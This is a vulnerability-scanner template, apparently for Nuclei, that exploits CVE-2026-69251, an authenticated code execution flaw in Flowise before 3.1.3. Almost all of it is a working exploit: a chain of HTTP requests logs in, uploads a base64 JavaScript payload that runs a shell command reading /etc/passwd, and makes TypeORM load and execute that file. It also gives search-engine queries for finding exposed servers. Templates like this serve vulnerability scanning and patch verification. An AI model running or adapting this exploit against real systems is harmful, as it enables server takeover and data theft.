Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.
PoC
id: CVE-2026-69251
info:
name: Flowise < 3.1.3 - Remote Code Execution
author: 1dayexploit
severity: critical
description: |
Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.
impact: |
Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise.
remediation: |
Update to version 3.1.3 or later.
reference:
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5
- https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f
- https://nvd.nist.gov/vuln/detail/CVE-2026-69251
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
cvss-score: 9.0
cve-id: CVE-2026-69251
epss-score: 0.03269
epss-percentile: 0.87768
cwe-id: CWE-94
metadata:
verified: true
max-request: 5
vendor: flowiseai
product: flowise
shodan-query: http.title:"Flowise"
fofa-query: title="Flowise"
tags: cve,cve2026,flowise,rce,authenticated,typeorm,intrusive
variables:
fname: "{{to_lower(rand_text_alpha(8))}}"
payload: "throw new Error(require('child_process').execSync('cat /etc/passwd').toString())"
flow: http(1) && http(2) && http(3) && http(4) && http(5)
http:
- raw:
- |
POST /api/v1/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{username}}","password":"{{password}}"}
skip-variables-check: true
matchers:
- type: dsl
dsl:
- 'contains_any(body, "activeOrganizationId", "Unauthorized Access")'
condition: and
internal: true
- raw:
- |
POST /api/v1/document-store/store HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"name":"poc-{{fname}}","description":"CVE-2026-69251"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "loaders")'
condition: and
internal: true
extractors:
- type: regex
name: storeid
part: body
group: 1
regex:
- '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'
internal: true
- raw:
- |
POST /api/v1/document-store/loader/save HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
extractors:
- type: regex
name: loaderid
part: body
group: 1
regex:
- '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'
internal: true
- raw:
- |
POST /api/v1/document-store/loader/process/{{loaderid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"id":"{{loaderid}}","storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
POST /api/v1/document-store/vectorstore/insert HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"storeId":"{{storeid}}","recordManagerName":"SQLiteRecordManager","recordManagerConfig":{"tableName":"poc","cleanup":"none","sourceIdKey":"source","additionalConfig":"{\"entities\":[\"/root/.flowise/storage/**/{{fname}}.js\",\"/home/node/.flowise/storage/**/{{fname}}.js\",\"/app/.flowise/storage/**/{{fname}}.js\",\"/data/.flowise/storage/**/{{fname}}.js\"]}"},"embeddingName":"openAIEmbeddings","embeddingConfig":{"modelName":"text-embedding-ada-002"},"vectorStoreName":"weaviate","vectorStoreConfig":{"weaviateScheme":"http","weaviateHost":"127.0.0.1:8080","weaviateIndex":"Poc","weaviateTextKey":"text"}}
matchers:
- type: dsl
dsl:
- regex('root:.*:0:0:', body)
- '!contains(body, "Disallowed TypeORM DataSource option")'
condition: and
extractors:
- type: regex
part: body
group: 1
regex:
- 'Error: (root:.*?)",\"stack'
# digest: 4a0a0047304502200afffd9f82f31dd6b587fab861a8c0f8c312d5cd5a30463f1dfe6d4f46119f0f022100ad38c9257cb33f45e2d916073a5f5f96ede72deff83458933c8e87a69c22b66a:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.